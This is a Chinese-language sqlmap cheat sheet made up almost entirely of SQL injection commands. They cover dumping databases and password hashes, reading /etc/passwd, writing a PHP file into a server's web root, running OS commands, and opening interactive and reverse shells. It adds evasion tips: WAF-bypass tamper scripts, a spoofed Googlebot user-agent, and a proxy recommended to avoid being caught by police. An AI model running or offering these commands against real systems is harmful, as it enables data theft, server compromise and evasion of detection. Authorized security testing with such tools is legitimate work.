比較好的兩篇文章 ① SQLMAP注入教程-11種常見SQLMAP使用方法詳解 ② SqlMap使用者手冊1. sqlmap Get注入 ./sqlmap.py -u “注入位址” -v 1 --dbs // 列舉資料庫 ./sqlmap.py -u “注入位址” -v 1 --current-db // 目前資料庫 ./sqlmap.py -u “注入位址” -v 1 --users // 列資料庫使用者 ./sqlmap.py -u “注入位址” -v 1 --current-user // 目前使用者 ./sqlmap.py -u “注入位址” -v 1 --tables -D “資料庫” // 列舉資料庫的表名 ./sqlmap.py -u “注入位址” -v 1 --columns -T “表名” -D “資料庫” // 擷取表的列名 ./sqlmap.py -u “注入位址” -v 1 --dump -C “字段,字段” -T “表名” -D “資料庫” // 擷取表中的資料,包含列 已經開始拖庫了,SQLMAP是非常人性化的,它會将擷取的資料存儲sqlmap/output/ 2. sqlmap post注入 我們在使用Sqlmap進行post型注入時, 經常會出現請求遺漏導緻注入失敗的情況。 這裡分享一個小技巧,即結合burpsuite來使用sqlmap, 用這種方法進行post注入測試會更準确,操作起來也非常容易。 1. 浏覽器打開目标位址http:// www.2cto.com /Login.asp 2. 配置burp代理(127.0.0.1:8080)以攔截請求 3. 點選login表單的submit按鈕 4. 如下圖,這時候Burp會攔截到了我們的登入POST請求 5. 把這個post請求複制為txt, 我這命名為search-test.txt 然後把它放至sqlmap目錄下 3,sqlmap cookies注入 sqlmap.py -u "http://127.0.0.1/base.php" --cookies "id=1" --dbs --level 2 2.預設情況下SQLMAP隻支援GET/POST參數的注入測試,但是當使用--level 參數且數值>=2的時候也會檢查cookie時面的參數,當>=3的時候将檢查User-agent和Referer,那麼這就很簡單了,我們直接在原有的基礎上面加上 --level 2 即可 利用sqlmap cookies注入突破使用者登入繼續注入 先把使用者登陸的cookie拿到吧, 在收藏夾添加一個連結cookies屬性: 名字自己取 javascript:alert(document.cookie),,需要擷取目前cookie的時候, 直接點一下這個連結,然後複制一下彈出對話框 裡的cookie值就搞定了 sqlmap.py -u http://x.x.x.x/Down.aspx?tid=2 -p tid --dbms mssql --cookie="info=username=test" -p是指指定參數注入 4. sqlmap遇到url重寫的注入 哪裡存在注入就加上 * 号 5.sqlmap 編碼繞waf注入 ./sqlmap.py -u http://127.0.0.1/test.php?id=1 -v 3 –dbms “MySQL” –technique U -p id –batch –tamper "space2morehash.py" 在sqlmap 的 tamper目錄下有很多space2morehash.py 編碼腳本自行加載 6.sqlmap讀檔案 sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--file-read “/etc/passwd" 7.sqlmap寫檔案 sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--file-write /localhost/mm.php --file-dest/var/www/html/xx.php -v 2 ******************資訊擷取****************** sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --users #列資料庫使用者 sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --dbs#列資料庫 sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--passwords #資料庫使用者密碼 sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--passwords-U root -v 0 #列出指定使用者資料庫密碼 sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --dump-all -v 0 #列出所有資料庫所有表 sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--privileges #檢視權限 sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--privileges -U root #檢視指定使用者權限 sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --is-dba -v 1 #是否是資料庫管理者 sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --roles #枚舉資料庫使用者角色 sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--udf-inject #導入使用者自定義函數(擷取系統權限!) sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--dump-all --exclude-sysdbs -v 0 #列出目前庫所有表 sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --union-check #是否支援union 注入 sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--union-cols #union 查詢表記錄 sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --union-test #union 語句測試 sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql" --union-use --banner #采用union 注入 sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--union-test --union-tech orderby #union 配合 order by sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--method " OST" -- data "id=1&cat=2" #post注入 sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--cookie "COOKIE_VALUE" #cookie注入 sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"-b #擷取banner資訊 sqlmap -u "http://url/news?id=1" --level=3 --smart-v 1 -f #指紋判别資料庫類型 sqlmap -u "http://url/news?id=1" --level=3 --smart--proxy"http://127.0.0.1:8118" #代理注入 sqlmap -u "http://url/news?id=1"--string"STRING_ON_TRUE_PAGE" #指定關鍵詞 sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--sql-shell #執行指定sql指令 sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--os-cmd=whoami #執行系統指令 sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--os-shell #系統互動shell sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--os-pwn #反彈shell sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "Mysql"--reg-read #讀取win系統系統資料庫 執行個體 sqlmap.py --proxy http://127.0.0.1:8087 -u 你懂得 -v 3 –dbms “MySQL” --tamper “space2morehash.py” --referer“http://www.google.com” --user-agent "Googlebot/2.1 (+http://www.googlebot.com/bot.html)" 參數解釋 : --proxy //這個是代理的IP,你不用代理不用VPN就不怕被查水表麼。。。 -u //這個不懂的面壁去 -v 3 //這個是注入的詳細級别1-5 --dbms "MySQL" //指定資料庫 --tamper “space2morehash.py” //載入繞過WAF防火牆的腳本 --referer“http://www.google.com” //模拟來源,就是從哪個網頁跳轉過來的。如果不懂可以谷歌referer --user-agent "Googlebot/2.1 (+http://www.googlebot.com/bot.html)" 模拟谷歌蜘蛛,一般都不會限制蜘蛛爬網站。 總結 簡單的注入流程 1. 讀取資料庫版本,目前使用者,目前資料庫 sqlmap -u http://www.evil0x.com/test.php?p=2 -f -b –current-user –current-db -v 1 2. 判斷目前資料庫使用者權限 sqlmap -u http://www.evil0x.com/test.php?p=2 –privileges -U 使用者名 -v 1 sqlmap -u http://www.evil0x.com/test.php?p=2 –is-dba -U 使用者名 -v 1 3. 讀取所有資料庫使用者或指定資料庫使用者的密碼 sqlmap -u http://www.evil0x.com/test.php?p=2 –users –passwords -v 2 sqlmap -u http://www.evil0x.com/test.php?p=2 –passwords -U root -v 2 4. 擷取所有資料庫 sqlmap -u http://www.evil0x.com/test.php?p=2 –dbs -v 2 5. 擷取指定資料庫中的所有表 sqlmap -u http://www.evil0x.com/test.php?p=2 –tables -D mysql -v 2 6. 擷取指定資料庫名中指定表的字段 sqlmap -u http://www.evil0x.com/test.php?p=2 –columns -D mysql -T users -v 2 7. 擷取指定資料庫名中指定表中指定字段的資料 sqlmap -u http://www.evil0x.com/test.php?p=2 –dump -D mysql -T users -C “username,password” -s “sqlnmapdb.log”-v 2 8.file-read 讀取web 檔案 sqlmap -u http://www.evil0x.com/test.php?p=2 –file-read “/etc/passwd” -v 2 9.file-write 寫入檔案到web sqlmap -u http://www.evil0x.com/ test.php?p=2–file-write /localhost/mm.php –file-dest ./sqlmap.py -u" http://www.nxadmin.com/sql-injection.php?id=1" –file-write/test/test.txt –file-dest /var/www/html/1.txt 将本地的test.txt 寫入到站點伺服器的html 目錄下。 |